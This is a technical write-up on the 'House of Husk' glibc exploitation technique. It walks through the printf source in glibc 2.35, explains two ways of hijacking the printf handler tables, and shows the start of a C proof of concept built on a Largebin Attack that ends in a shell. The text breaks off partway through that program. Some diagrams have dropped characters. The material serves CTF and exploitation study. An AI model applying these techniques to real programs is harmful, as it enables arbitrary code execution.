TL;DR

House of Husk was first introduced for glibc 2.27 and continues to hold ground as a formidable exploitation vector in modern glibc versions. It targets the printf family — long after classic format string vulnerabilities were patched into obscurity. While not strictly a heap exploitation technique, its natural symbiosis with modern heap primitives — Largebin Attack, Tcache Poisoning, and beyond—cements its place in the heap exploitation playbook.

In this write-up, we'll dissect two of three exploitation chains leveraging House of Husk on glibc 2.35 — a version widely encountered in contemporary CTF pwn challenges. While the internals of vfprintf were significantly refactored starting in glibc 2.37, the attack remains viable even on the latest release — glibc 2.41 (as of the time of writing). For clarity and consistency, our code analysis will mainly reference the glibc 2.35 source.

While many have claimed that the second attack chain was mitigated in glibc 2.37, we'll demonstrate that it remains exploitable — with the right attack routine proven by crafted PoCs.

We'll dive deep into the printf call chain, tracing how it ultimately processes format specifiers and results in a full compromise.

Prerequisites

1. Write Primitive

To pull this off, we'll need at least two precise memory writes. An arbitrary write makes life easy—but even restricted primitives can be enough. One such technique is the Largebin Attack, which allows us to write a controlled heap address into an arbitrary memory location.

We'll walk through how this works in the context of our exploit shortly.

2. Libc Leak

Exploiting a glibc function like printf (specifically, vfprintf, from vfprintf_internal.c) starts with one fundamental move: leaking the libc base address. Once we've got the base, we can calculate absolute addresses for both target tables using their known offsets:

table_addr = libc_base + offset_to_table

This allows precise targeting for both overwrite operations.

3. Large Chunk Allocation

For a successful Largebin Attack, we need to allocate large chunks—that's a given. But when it comes to faking the format specifier table, we don't actually need a single large region. In fact, it can be constructed across multiple smaller chunks—because glibc doesn't impose strict bounds when parsing the format specifier table.

Take for example the format %d. Internally, glibc looks this up at:

ord('d') * 8 = 800 bytes offset

That means when not relying on Largebin Attack, our payload just needs to control that memory region. With proper chunk orchestration, even this distant offset can be weaponized.

Dive into Printf

In modern glibc releases, printf() is much more than a simple symbol with a clean signature—it's a tangled endpoint layered with legacy, compatibility hacks, and defensive rewrites — due to its horribly vulnerable history (format string vulnerability).

That they are:

  • Older standalone implementations were folded into macro-driven or internalized code paths.
  • Much of the logic migrated into libio/ and bits/stdio2.h, especially for _FORTIFY_SOURCE hardened builds.
  • Calls are frequently funneled through aliasing wrappers, such as __printf_chk, _IO_printf, or vfprintf_internal, governed by visibility pragmas and weak symbol tricks.

By the time we hit the actual meat of printf, we're knee-deep in indirect calls and layered redirects.

Before breaking the spec chains, let's trace our steps through the glibc 2.35 source — where the parsing logic lives and breathes.

__vfprintf_internal

The story begins in a macro maze.

The modern printf is not what it seems — it's a wrapper dressed in FORTIFY armor. Defined via macros in libio/bits/stdio2.h at line 115:

C
#  define printf(...) \
  __printf_chk (__USE_FORTIFY_LEVEL - 1, __VA_ARGS__)

In modern toolchains, _FORTIFY_SOURCE is enabled by default. This means every call to printf() is silently routed through a safer variant: __printf_chk, which ends the traditional format string vulnerability.

The internal call is defined in nldbl-printf_chk.c, and all it really does is wrap around another layer: sysdeps/ieee754/ldbl-opt/nldbl-printf_chk.c:

C
#include "nldbl-compat.h"

int
attribute_hidden
__printf_chk (int flag, const char *fmt, ...)
{
  va_list arg;
  int done;

  va_start (arg, fmt);
  done = __nldbl___vfprintf_chk (stdout, flag, fmt, arg);
  va_end (arg);

  return done;
}

This is simply a FORTIFY-safe version of printf:

  • flag is usually 0 (normal mode) or 1+ (requesting format security checks)
  • fmt is the format string
  • Variadic ... captures the arguments passed to printf()

nldbl is part of glibc's long double compatibility layer — not the default implementation used on all platforms, but it still follows the exact same logic flow.

Interally it calls the __nldbl___vfprintf_chk() function, which is defined in file sysdeps/ieee754/ldbl-opt/nldbl-compat.c at line 542:

C
int
attribute_compat_text_section
__nldbl___vfprintf_chk (FILE *s, int flag, const char *fmt, va_list ap)
{
  unsigned int mode = PRINTF_LDBL_IS_DBL;
  if (flag > 0)
    mode |= PRINTF_FORTIFY;

  return __vfprintf_internal (s, fmt, ap, mode);
}

Then it sets some flags, and calls __vfprintf_internal, which is declared as a prototype in file libio/libioP.h at line 665:

C
/* Internal versions of v*printf that take an additional flags
   parameter.  */
extern int __vfprintf_internal (FILE *fp, const char *format, va_list ap,
				unsigned int mode_flags)
    attribute_hidden;

It is the core formatting engine and the internal version of vfprintf() — except it takes mode_flags, which let it behave differently depending on FORTIFY and compatibility needs.

Even this function is aliased via macros. To find the actual logic, we can trace it to the file stdio-common/vfprintf-internal.c at line 148:

C
#ifndef COMPILE_WPRINTF
# define vfprintf	__vfprintf_internal

This means regular vfprintf() now points to __vfprintf_internal() unless we're compiling wide-character wprintf() variants, in which case it redirects to __vfwprintf_internal introduced in another if...else.. branch at line 163:

C
#else
# define vfprintf	__vfwprintf_internal

Therefore, we can confirm the actual printf implementation lives in vfprintf-internal.c. vfprintf (__vfprintf_internal) is the ultimate stage before format string interpretation. It is here the printf battlefield is laid bare, and where House of Husk finds its opportunity to strike.

vfprintf

Navigate the macro labyrinth and we land, at last, in the real pit: vfprintf. This is the buffer-oriented core — glibc's printf engine, the place where format string is dissected, digested, and output to the world.

It is defined at line 1178:

C
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)

First, it does some initial setup including prep and context variables, for example some of which we would care in House of Husk, described from line 1190:

C
/* Current character in format string.  */
const UCHAR_T *f;

/* End of leading constant string.  */
const UCHAR_T *lead_str_end;

/* Points to next format specifier.  */
const UCHAR_T *end_of_spec;

/* Buffer intermediate results.  */
CHAR_T work_buffer[WORK_BUFFER_SIZE];
CHAR_T *workend;

/* We have to save the original argument pointer.  */
va_list ap_save;

Then it does some orientation checks, until saving the va_list and finds the first format specifier, as illustrated at line 1241:

C
#ifdef __va_copy
  /* This macro will be available soon in gcc's <stdarg.h>.  We need it
     since on some systems `va_list' is not an integral type.  */
  __va_copy (ap_save, ap);
#else
  ap_save = ap;
#endif
  nspecs_done = 0;

#ifdef COMPILE_WPRINTF
  /* Find the first format specifier.  */
  f = lead_str_end = __find_specwc ((const UCHAR_T *) format);
#else
  /* Find the first format specifier.  */
  f = lead_str_end = __find_specmb ((const UCHAR_T *) format);
#endif

The logic then moves fast: it finds the first %, saves the variadic state, and determines where the format truly begins. If there's nothing but literals, it spits them out and bails — as defined at line 1262:

C
/* Write the literal text before the first format.  */
outstring ((const UCHAR_T *) format,
     lead_str_end - (const UCHAR_T *) format);

/* If we only have to print a simple string, return now.  */
if (*f == L_('\0'))
goto all_done;

The critical gate—slow path or fast path.

Here's where the House of Husk wedge fits in. The code then checks the existence of the 3 victim tables with the __glibc_unlikely attribute, a decoration that tells the complier that this is not expected to improve performance, as depicted at line 1270:

C
/* Use the slow path in case any printf handler is registered.  */
if (__glibc_unlikely (__printf_function_table != NULL
        || __printf_modifier_table != NULL
        || __printf_va_arg_table != NULL))
goto do_positional;

This is the trapdoor — if __printf_function_table, or either of __printf_arginfo_table or __printf_va_arg_table, exists (thanks to our exploit), execution leaps straight to do_positional, where custom handler tables take over.

Fast path?

If that check fails, glibc trusts its built-in specifier tables. It runs the classic jump-table parsing routine defined at line 1276:

C
/* Process whole format string.  */
do {
STEP0_3_TABLE;
STEP4_TABLE;
[...]

It then iterates through format string characters and dispatching to the standard handler functions for things like %d, %x, %s, %X — all defined in neat lookup arrays. We can find those we are familiar with at line 445:

C
[...]
REF (form_integer),	    /* for 'd', 'i' */			              \
REF (form_unsigned),	/* for 'u' */				     	      \
REF (form_octal),		/* for 'o' */				    	      \
REF (form_hexa),		/* for 'X', 'x' */			   			  \
REF (form_float),		/* for 'E', 'e', 'F', 'f', 'G', 'g' */    \
REF (form_character),	/* for 'c' */				    	      \
[...]

These set up jump tables for parsing flags, width, precision, etc., in the following JUMP(...) macros:

C
/* Get current character in format string.  */
JUMP (*++f, step0_jumps);
[...]

At the bottom of the printf procedure at line 1568, there's another slowe path entrance:

C
LABEL (form_unknown):
  if (spec == L_('\0'))
    {
      /* The format string ended before the specifier is complete.  */
      __set_errno (EINVAL);
      done = -1;
      goto all_done;
    }

  /* If we are in the fast loop force entering the complicated
     one.  */
  goto do_positional;

If glibc fails to identify the provided specifier, it jumps to the do_positional path, which tries to resolve the format with plugin/custom handler logic (e.g. register_printf_function()). This entrance relates to the Attack Chain 3 involving the __printf_va_arg_table parsing mechanism.

printf_positional

From the previous analysis on the vfprintf function calls, we know that when encounters a rogue specifier or detects the presence of a non-null __printf_function_table, __printf_arginfo_table, or __printf_va_arg_table , it flips the switch — bails out of the fast path and takes a detour into the "unexpected" slower fallback handler by jumping into goto do_positional;, which is defined at line 1600:

C
  /* Hand off processing for positional parameters.  */
do_positional:
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
			    done, nspecs_done, lead_str_end, work_buffer,
			    save_errno, grouping, thousands_sep, mode_flags);

The invoked function, printf_positional(...), is defined starting at line 1614:

C
static int
printf_positional (FILE *s, const CHAR_T *format, int readonly_format,
		   va_list ap, va_list *ap_savep, int done, int nspecs_done,
		   const UCHAR_T *lead_str_end,
		   CHAR_T *work_buffer, int save_errno,
		   const char *grouping, THOUSANDS_SEP_T thousands_sep,
		   unsigned int mode_flags)
{
  /* For positional argument handling.  */
  struct scratch_buffer specsbuf;
  scratch_buffer_init (&specsbuf);
  struct printf_spec *specs = specsbuf.data;
  size_t specs_limit = specsbuf.length / sizeof (specs[0]);
[...]

It handles positional parameter parsing and delegation to custom handlers, and extends all the way down to line 2003.

This is where we shift focus to exploitation in House of Husk: the parts of the printf logic responsible for parsing non-standard format specifiers (when any one of the 3 victim tables exists).

In the latest glibc releases, such as 2.41, the logic here has been heavily refactored. Format parsing and handler invocation were restructured into macro-generated helpers like Xprintf_function_invoke() (introduced in the file Xprintf_function_invoke.c ), and vprintf became a thin wrapper. Despite the changes, the core exploitation vector via hijacking these tables still survives, which is proven by the following PoCs.

Attack Chains

In House of Husk exploitation, we aim to compromise the printf function (and its variants) by abusing one of three vulnerable dispatch chains:

C
printf
  └───► vfprintf / __vfprintf_internal
            └───► printf_positional    
                      └───► __parse_one_specmb
                                └───► 1. __printf_arginfo_table[] ()
                      └───► 2. __printf_function_table[] ()   
                      └───► 3. __printf_va_arg_table [] ()

After glibc 2.37, the call chain becomes to:

C
printf
  └───► vfprintf / __vfprintf_internal
          └───► Xprintf_buffer / __printf_buffer
                  └───► printf_positional
                           └───► __parse_one_specmb
                                    └───► 1. __printf_arginfo_table[] ()                          
                           └───► __printf_function_invoke
                                    └───► 2. __printf_function_table[] () 
                                          3. __printf_va_arg_table [] ()

In modern glibc (≥ 2.37), Xprintf_buffer() replaces the direct internal formatting logic by wrapping legacy vfprintf() flow. This buffering layer then leverages macro-generated handlers like Xprintf (function_invoke) (namely __printf_function_invoke) to dispatch calls through __printf_function_table and its companions. Despite the architectural shift, the core attack surfaces remain intact.

Chain 1: __parse_one_specmb

Attack Analysis

Following the detour into the "slow path" triggered by printf_positional, glibc begins parsing each format specifier individually in a loop starting at line 1664:

C
  for (const UCHAR_T *f = lead_str_end; *f != L_('\0');
       f = specs[nspecs++].next_fmt)
    {
      if (nspecs == specs_limit)
	{
	  if (!scratch_buffer_grow_preserve (&specsbuf))
	    {
	      done = -1;
	      goto all_done;
	    }
	  specs = specsbuf.data;
	  specs_limit = specsbuf.length / sizeof (specs[0]);
	}

      /* Parse the format specifier.  */
#ifdef COMPILE_WPRINTF
      nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
      nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
    }

This loop walks the format string specifier-by-specifier (%d, %s, %X, etc.), calling __parse_one_specmb() for each. It extracts relevant metadata, updates the specs[] array with parsing results, and prepares for the next.

For wide-character builds, __parse_one_specwc() is used instead, with near-identical logic.

Now let's drill into the helper function __parse_one_specmb in printf-parsemb.c starting from line 50

C
/* FORMAT must point to a '%' at the beginning of a spec.  Fills in *SPEC
   with the parsed details.  POSN is the number of arguments already
   consumed.  At most MAXTYPES - POSN types are filled in TYPES.  Return
   the number of args consumed by this spec; *MAX_REF_ARG is updated so it
   remains the highest argument index used.  */
size_t
attribute_hidden
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn,
		    struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn,
		    struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
  [...]	// fallback path 
}

It does tons of job. We're specifically interested in how it process and parse custom format specifiers, which is the actual place to trigger an unintended execution by hijacking the internal tables __printf_arginfo_table.

Jump to the vulnerable logic at line 316:

C
/* Get the format specification.  */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
  || spec->info.spec > UCHAR_MAX
  || __printf_arginfo_table[spec->info.spec] == NULL
  /* We don't try to get the types for all arguments if the format
 uses more than one.  The normal case is covered though.  If
 the call returns -1 we continue with the normal specifiers.  */
  || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
               (&spec->info, 1, &spec->data_arg_type,
                &spec->size)) < 0)
{
  /* Find the data argument types of a built-in spec.  */

The called __printf_arginfo_table, which is an array of function pointers, attempts to determine how many arguments a format specifier takes — using a function pointer lookup:

C
int
(*__printf_arginfo_table[spec->info.spec])(
    &spec->info,         // struct printf_info *info
    1,                   // size_t n (number of format instances)
    &spec->data_arg_type,// int *array to write argument types
    &spec->size          // int *array to write argument size
)

We're calling a function pointer indexed by a user-controlled format character (spec). That's the hijack.

Attack Workflow

After hijacking __printf_function_table, or either of __printf_arginfo_table or __printf_va_arg_table, with a non-null value (with some write primitive attack), glibc enters the slow path. The called function printf(%α, ...) (α refers to a placeholder for any format specifiers like d, s, etc.) follows this execution chain:

printf("", ...)
   └───► vprintf(...)
            └───► printf_positional(...)
                       └───► __parse_one_specmb(...)
                                   └───► __printf_arginfo_table[ord('α')*8] ()

The specifier 'α' will be parsed by function __parse_one_specmb, which subsequently looks up into the user-defined table for specifiers: __printf_arginfo_table. So we prepare:

__printf_function_table     = an accessible memory address 
__printf_arginfo_table      = FAKE CHUNK ADDRESS

Here, we hijack __printf_function_table to redirect the execution flow of vfprintf to enter the do_positional "slow path", which should be a non-null value (the table will be accessed in the rest of the internal code, so we need to provide a valid memory address to avoid program cracks).

Next, we need to hijack another table: __printf_arginfo_table, which acts as a dispatcher holding self-defined function pointers. In our example, it calls:

__printf_arginfo_table[ord('α')*8] (&spec->info, 1, &spec->data_arg_type, &spec->size)

The function pointer at __printf_arginfo_table[ord('α')] (the function "recognize" α with its ascii value) will be cast as a function on our crafted fake chunk.

Exploit Steps

We need to hijack the __printf_function_table and __printf_arginfo_table to pass glibc's internal checks:

[ Step 1: Hijack __print_function_table ]
┌────────────────────────────────────┐
│  __print_function_table = chunk A  │   ⟵ Fill the table with an accessible address
└────────────────────────────────────┘


[ Step 2: Hijack __printf_arginfo_table ]
┌────────────────────────────────────────┐
│  __printf_arginfo_tablel = chunk B     │   ⟵ Fake table under attacker control
└────────────────────────────────────────┘  	


[ Step 3: Fake chunk B ]
chunk B ⟶ ┌───────────────────┐	 ⟵ __printf_arginfo_tablel (hijacked)
          │    prev_size      │ 
          │───────────────────│      
          │      size         │
  user ⟶  │───────────────────│
 input    │                   │
 		      │       ...         │
 		      │                   │
offset ⟶  │───────────────────│  ⟵ 8 * ord('α')
p64(one_gadget)  │  ⟵ our "function pointer"
          └───────────────────┘  	


[ Step 4: call printf() ]
   ┌─────────────────┐
printf("")   │   ⟵ Format triggers slow path
   └─────────────────┘


  [ Enter attack chain ] 



[ Node 1: vfprintf() checks ]
┌─────────────────────────────────────────────┐
│  Checks if __printf_function_table != null  │
└─────────────────────────────────────────────┘

           yes


[ Node 2: do_positional ]
┌────────────────────────────────────────────────┐
│  Calls printf_positional to deal with fmt str  │
└────────────────────────────────────────────────┘


[ Node 3: Parsing '' ]
┌───────────────────────────────────────────────┐
│ Calls __printf_arginfo_table[ord('α')*8] (...)
│     └─ table base = chunk B                   │   ⟵ Offset to user-input filed: 8 * ord(α-2)
│     └─ jump to *(chunk B + ord('α') * 8)
└───────────────────────────────────────────────┘


[ Final: Execution hijacked ]
┌─────────────────────┐
│ Calls: one_gadget   │
│      HIJACKED       │
└─────────────────────┘

Chain 2: __printf_function_table

Attack Analysis

The logic of 2nd attack chain is actually different, by triggering the attack via a called function pointer positioned in another internal table: __printf_function_table.

The second chain pivots from parsing into execution — a callsite buried deep within vfprintf, where an internal function table dispatches format handlers. This is the critical detonation point for our exploit. At line 1875, vprintf processes parsed format specifiers like this:

C
/* Process format specifiers.  */
while (1)
{
  extern printf_function **__printf_function_table;
  int function_done;

  if (spec <= UCHAR_MAX
      && __printf_function_table != NULL
      && __printf_function_table[(size_t) spec] != NULL)
    {
      const void **ptr = alloca (specs[nspecs_done].ndata_args
                 * sizeof (const void *));

      /* Fill in an array of pointers to the argument values.  */
      for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
       ++i)
    ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

      /* Call the function.  */
      function_done = __printf_function_table[(size_t) spec]
    (s, &specs[nspecs_done].info, ptr);

      if (function_done != -2)
    {
      /* If an error occurred we don't have information
         about # of chars.  */
      if (function_done < 0)
        {
          /* Function has set errno.  */
          done = -1;
          goto all_done;
        }

      done_add (function_done);
      break;
    }
}

Let's breakdown the above code snippet step by step.

After format string parsing is complete, which is done by the codes illustrated in Attack Chain 1, vfprintf begins resolving handlers, by processing each format specifier:

C
while (1)
{
    extern printf_function **__printf_function_table;
    int function_done;
[...]

It declares the external handler table (__printf_function_table) — an array of function pointers (one for each format specifier, like %s, %d, etc). The while (1) loop tries to resolve and invoke the registered function for each format.

If the current format character spec (e.g. 's', 'd', or our placeholder 'α') meets the following criteria:

C
if (spec <= UCHAR_MAX
    && __printf_function_table != NULL
    && __printf_function_table[(size_t) spec] != NULL)

Then Glibc constructs a const void * array of argument values — which is meant to be passed into the appropriate handler function:

C
const void **ptr = alloca (specs[nspecs_done].ndata_args * sizeof (const void *));
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args; ++i)
    ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

This segment builds an array of pointers to the actual arguments, which are typically passed into a handler from the __printf_function_table. The handler prototype is defined in printf.h at line 69:

C
typedef int printf_function (FILE *__stream,
			     const struct printf_info *__info,
			     const void *const *__args);

However, for our purposes, the actual arguments don't matter. Once the function pointer is hijacked, execution flows into it regardless of the ABI. The control is what we care about — not the correctness of parameters.

This also explains why in Chain 1 (via __printf_arginfo_table), we don't rely on properly crafted arguments either — the function call is blindly made, and constraints can often be ignored depending on the payload.

From line 1894 in glibc 2.35, the vulnerable instruction hits:

C
function_done = __printf_function_table[(size_t) spec]
    (s, &specs[nspecs_done].info, ptr);

This is the crux: the format specifier (α as a placeholder for any character) becomes an index into the function pointer table. If that table has been hijacked — for example, if __printf_function_table[ord('α')] is a one-gadget chain or our own shell-spawning routine — then this line hands our control.

  • Key idea: If we hijack __printf_function_table and inject any valid executable address into it at a chosen index, then triggering printf("%α", ...) routes execution directly into that address.

In glibc 2.37 and beyond, this logic is restructured: the Xprintf_buffer() layer wraps legacy logic, and dispatches handlers using macro-generated invocations via Xprintf (function_invoke) — ultimately resolving to __printf_function_invoke (the different logic can be refered to this glibc source).

But the vulnerability persists, because that dispatch still uses __printf_function_table[spec]() under the hood. Structural facelift, same core exploit surface.

Attack Workflow

After hijacking __printf_function_table, or either of its cousins — __printf_arginfo_table or __printf_va_arg_table — with a non-null value using a suitable write primitive, glibc is forced off the fast lane and into the slow path. This path assumes some “custom formatting logic” is in play. When encountering a specific format specifier (say, as a placeholder for any), execution cascades as follows:

printf("", ...)
    └───► vfprintf(...)
            └───► printf_positional(...)    
                      └───► __printf_function_table[ord('α')*8] ()   

Since glibc 2.37:

printf("", ...)
  └───► vfprintf(...)
          └───► Xprintf_buffer(...)
                    └───► printf_positional(...)
                             └───► __printf_function_invoke(...)
                                       └───► __printf_function_table[ord('α')*8] ()

Here's the catch: once __printf_function_table is replaced with a fake chunk address under our control, glibc drives all the way to the end of printf_positional(), where it blindly calls the function pointer sitting at __printf_function_table[ord('α')].

That means we reverse the setup compared to Attack Chain 1:

__printf_function_table     = FAKE CHUNK ADDRESS 
__printf_arginfo_table      = an accessible memory address 

This flip is key. Now the execution flow directly invokes our malicious function pointer:

__printf_function_table[ord('α')*8] (FILE *stream,
                                   const struct printf_info *info,
                                   const void *const *args)

Whether it's a one_gadget, ROP chain, or an ORW payload, the call lands exactly where we want — with no need for parsing magic. It's a surgical strike into code execution, triggered simply by the a function call of printf("%α", ...).

Exploit Steps

[ Step 1: Hijack __print_function_table ]
┌────────────────────────────────────┐
│  __print_function_table = chunk A  │   ⟵ Fake table under attacker control
└────────────────────────────────────┘


[ Step 2: Hijack __printf_arginfo_table ]
┌────────────────────────────────────────┐
│  __printf_arginfo_tablel = chunk B     │   ⟵ Fill the table with an accessible address
└────────────────────────────────────────┘  	


[ Step 3: Fake chunk A ]
chunk B ⟶ ┌───────────────────┐	 ⟵ __print_function_table (hijacked)
          │    prev_size      │ 
          │───────────────────│      
          │      size         │
  user ⟶  │───────────────────│
 input    │                   │
 		      │       ...         │
 		      │                   │
offset ⟶  │───────────────────│  ⟵ 8 * ord('α')
p64(one_gadget)  │  ⟵ our "function pointer"
          └───────────────────┘  	


[ Step 4: call printf() ]
   ┌─────────────────┐
printf("")   │   ⟵ Format triggers slow path
   └─────────────────┘


  [ Enter attack chain ] 



[ Node 1: vfprintf() checks ]
┌─────────────────────────────────────────────┐
│  Checks if __printf_function_table != null  │
└─────────────────────────────────────────────┘

           yes


[ Node 2: do_positional ]
┌────────────────────────────────────────────────┐
│  Calls printf_positional to deal with fmt str  │
└────────────────────────────────────────────────┘


[ Node 3: Calling self-defined function for specifier '' ]
┌─────────────────────────────────────────────────┐
│ Calls __printf_function_table[ord('α')*8] (...)
│     └─ table base = chunk A                     │   ⟵ Offset to user-input filed: 8 * ord(α-2)
│     └─ jump to *(chunk A + ord('α')) * 8
└─────────────────────────────────────────────────┘


[ Final: Execution hijacked ]
┌─────────────────────┐
│ Calls: one_gadget   │
│      HIJACKED       │
└─────────────────────┘

Chain 3: __printf_va_arg_table

This chain, while technically intriguing, imposes strict constraints and offers limited practical value in real-world scenarios — so I’ve opted to exclude it from the final write-up.

PoC

While a number of PoCs exist for earlier versions of glibc (e.g., 2.23 or 2.27), such as this one leveraging an unsorted bin attack against glibc 2.27, those techniques are largely obsolete. The relevant attack vectors were patched long ago, making them largely irrelevant in modern exploitation contexts.

That's why I crafted modern PoCs, tailored specifically for glibc 2.35+, targeting live attack surfaces using techniques like the Largebin Attack to plant a heap address into an arbitrary memory location.

All PoCs are available in my GitHub repository here.

Download the PoCs and enter the directory. To build all PoCs:

Bash
make

To build a specific one (e.g., for glibc 2.35 chain 1):

Bash
make house_of_husk_1_glibc-2.35

To clean up all compiled binaries:

Bash
make clean

As demonstration, we'll dissect only select portions of the full PoCs in this section.

Prepare

Before launching House of Husk against different glibc versions, we need to set the stage with:

  1. A controlled Linux environment with precise glibc versions and debug symbols;
  2. Accurate calculation of libc-relative offsets critical to the attack chain;
  3. A reliable libc leak primitive, typically via the unsorted bin fd pointer in a freed chunk — located at main_arena + 0x60;
  4. Substituting the gathered offsets into our PoC templates for both attack chains.

These steps form the foundational setup and are repeated across tests — so we won't revisit them in each section.

PoC | Attack Chain 1

This PoC targets Attack Chain 1, exploiting __printf_arginfo_table — the dispatch vector for specifier parsing. Despite multiple glibc revisions, this path remains exploitable even on glibc 2.41, confirmed as of this writing.

Glibc 2.35

Env

Our exploitation playground is configured with glibc 2.35-0ubuntu3.8, a commonly seen version in modern Pwn labs:

$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.8) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
Offset

We need precise offsets to build our attack chain, primarily the relative distances from main_arena to:

  • From main_arena__printf_function_table
  • From main_arena__printf_arginfo_table
  • From main_arenaunsorted bin (to leak libc via UAF)

Use GDB to determine them:

pwndbg> libc
libc : 0x7ffff7d6d000

pwndbg> set $libc=0x7ffff7d6d000

pwndbg> distance $libc &main_arena
0x7ffff7d6d000->0x7ffff7f87c80 is 0x21ac80 bytes (0x43590 words)

pwndbg> distance $libc &__printf_arginfo_table
0x7ffff7d6d000->0x7ffff7f888b0 is 0x21b8b0 bytes (0x43716 words)

pwndbg> distance $libc &__printf_function_table
0x7ffff7d6d000->0x7ffff7f899c8 is 0x21c9c8 bytes (0x43939 words)

To leak libc via the unsorted bin, we focus on the fd pointer in a freed chunk. This is always placed at main_arena + 0x60:

pwndbg> p main_arena.bins[0]
$1 = (mchunkptr) 0x7ffff7f87ce0 <main_arena+96>

pwndbg> p main_arena.bins[1]
$2 = (mchunkptr) 0x7ffff7f87ce0 <main_arena+96>

pwndbg> distance &main_arena $1
0x7ffff7f87c80->0x7ffff7f87ce0 is 0x60 bytes (0xe words)

This 0x60-byte delta is the key offset we'll use to resolve libc_base from a heap UAF — we won't repeat this part for the rest of PoCs since gllibc has make no changes on this fundamental structure.

PoC Script

Now that our offsets are locked in, we're cleared for launch into the core of House of Husk exploitation — where custom format tables, overwritten via largebin corruption, turn glibc internals into a trampoline for arbitrary code execution.

The PoC script can be downloaded from my Github repo:

C
/*
 * Title   : House of Husk PoC via Largebin Attack for modern Versions of GLibc 
 * Author  : Axura
 * Target  : glibc-2.35-0ubuntu3.8 (Ubuntu 22.04)
 * Purpose : Attack chain 1 (hijack of __printf_arginfo_table via Largebin Attack)
 * Website : https://4xura.com/pwn/house-of-husk/
 *
 *     this PoC uses a backdoor() function for reliable exploitation flow.
 *   - A real-world payload may involve stack frame manipulation (for one gadget), ROP, ORW, or constraint-satisfying gadgets.
 * 
 * Compile : gcc -no-pie -fno-PIE -O0 -g -o house_of_husk_1_glibc-2.35 house_of_husk_1_glibc-2.35.c
 */

#include <assert.h>
#include <complex.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/types.h>
#include <unistd.h>

/* Change the offsets if testing different GLibc verisons */
#define MAIN_ARENA         0x21ac80
#define MAIN_ARENA_DELTA   0x60
#define PRINTF_ARGINFO_T   0x21b8b0
#define PRINTF_FUNCTION_T  0x21c9c8

void backdoor()
{
	printf("[!] We can replace this backdoor with one gadget, \n\twhich requires a \"stack wash\" to fulfill the constraints in real exploit\n");
	printf("\tOr use ROP, ORW chain to execute commands\n");
	system("/bin/sh");
}

int main(void)
{
	/*Disable IO buffering to prevent stream from interfering with heap*/
	setvbuf(stdin,NULL,_IONBF,0);
	setvbuf(stdout,NULL,_IONBF,0);
	setvbuf(stderr,NULL,_IONBF,0);

	printf("===================== Heap fengshui ====================\n"); 

	size_t *p1 = malloc(0x428);
	printf("For the 1st Largebin Attack, we allocate a large 0x%lx chunk [p1] (%p)\n", p1[-1], p1-2);
	printf(" Note: [p1] refers to the chunk itself; 'p1' points to its user data region, not the metadata\n");
	printf(" We will use this same convention for the following demonstratation\n");
	size_t *g1 = malloc(0x18);  // Guard chunk

	printf("\n");

	size_t *p2 = malloc(0x418);
	printf("We also allocate a second large 0x%lx chunk [p2] (%p).\n", p2[-1], p2-2);
	printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
	size_t *g2 = malloc(0x18);   // Guard chunk

	printf("\n");

	printf("Additionally, we will allocate two more chunks for the 2nd Largebin Attack\n");
	printf("And put them into a different large bin\n");
	size_t *p3 = malloc(0x488);
	printf("The larger one is the 0x%lx [p3] (%p)\n", p3[-1], p3-2);
	size_t *g3 = malloc(0x18);  // Guard chunk
	size_t *p4 = malloc(0x478);
	printf("The smaller one is the 0x%lx [p4] (%p)\n", p4[-1], p4-2);
	size_t *g4 = malloc(0x18);  // Guard chunk

	printf("\n");

	printf("Chunks for 1st Largebin Attack:\n");
	printf("[p1]: 0x%lx @ %p\n", p1[-1], p1-2);
	printf("[p2]: 0x%lx @ %p\n\n", p2[-1], p2-2);
	printf("Chunks for 2nd Largebin Attack:\n");
	printf("[p3]: 0x%lx @ %p\n", p3[-1], p3-2);
	printf("[p4]: 0x%lx @ %p\n\n", p4[-1], p4-2);

	printf("======================= Leak libc ======================\n"); 

	free(p1);
	printf("Free the larger one of the 1st pair --> [p1] (0x%lx, @ %p)\n", p1[-1], p1-2);

	unsigned long libc_base;
	printf("Now [p1] is in unsorted bin, we can simulate a UAF to leak libc.\n");
	libc_base = *p1 - MAIN_ARENA - MAIN_ARENA_DELTA;
	printf("[+] libc base: 0x%lx\n", libc_base);
	printf("[+] target __printf_function_table: %p\n", (void *)(libc_base + PRINTF_FUNCTION_T));
	printf("[+] target __printf_arginfo_table:  %p\n", (void *)(libc_base + PRINTF_ARGINFO_T));

	printf("\n");

	printf("==================== Largebin Attack 1 ===================\n"); 

	printf("Now we start the 1st Largebin Attack, with [p1] and [p2]\n");
	printf("Our goal is to write a heap address into __printf_function_table\n");

	printf("\n");

	size_t *g5 = malloc(0x438);
	printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

	printf("\n");

	free(p2);
	printf("Free the smaller one now --> [p2] (0x%lx, @ %p)\n", p2[-1], p2-2);
